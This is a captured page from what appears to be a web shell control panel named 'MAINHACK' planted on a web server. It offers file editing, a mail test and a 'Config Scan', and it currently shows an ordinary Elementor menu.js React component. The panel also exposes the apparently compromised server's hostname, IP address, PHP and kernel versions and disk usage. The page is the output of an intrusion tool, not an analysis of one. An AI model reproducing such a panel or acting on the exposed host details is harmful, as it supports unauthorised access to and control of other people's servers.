[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: menu.js
import './menu.scss'; import Button from '../molecules/button'; import router from '@elementor/router'; import { Match, LocationProvider } from '@reach/router'; export default function Menu( props ) { const ActionButton = ( itemProps ) => { if ( ! props.actionButton ) { return ''; } return props.actionButton( itemProps ); }; if ( props.promotion ) { return ( <nav className="eps-menu"> { props.children } <ul> { props.menuItems.map( ( item ) => ( <li key={ item.type } className="eps-menu-item"> <Button text={ item.title } className="eps-menu-item__link" { ...item } /> <ActionButton { ...item } /> </li> ) ) } </ul> </nav> ); } return ( <LocationProvider history={ router.appHistory }> <nav className="eps-menu"> { props.children } <ul> { ( props.menuItems.map( ( item ) => ( <Match key={ item.type } path={ item.url }> { ( { match } ) => { return ( <li key={ item.type } className={ `eps-menu-item${ match ? ' eps-menu-item--active' : '' }` }> <Button text={ item.title } className="eps-menu-item__link" { ...item } /> <ActionButton { ...item } /> </li> ); } } </Match> ) ) ) } </ul> </nav> </LocationProvider> ); } Menu.propTypes = { menuItems: PropTypes.arrayOf( PropTypes.object ), children: PropTypes.any, actionButton: PropTypes.func, promotion: PropTypes.bool, };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.dijitaldukkanim.com.tr
Server IP: 104.247.168.220
PHP Version: 8.1.33
Server Software: Apache
System: Linux server.dijitaldukkanim.com.tr 4.18.0-553.105.1.el8_10.x86_64 #1 SMP Tue Feb 17 05:17:39 EST 2026 x86_64
HDD Total: 492.3 GB
HDD Free: 180.64 GB
Domains on IP: N/A (Requires external lookup)
System Features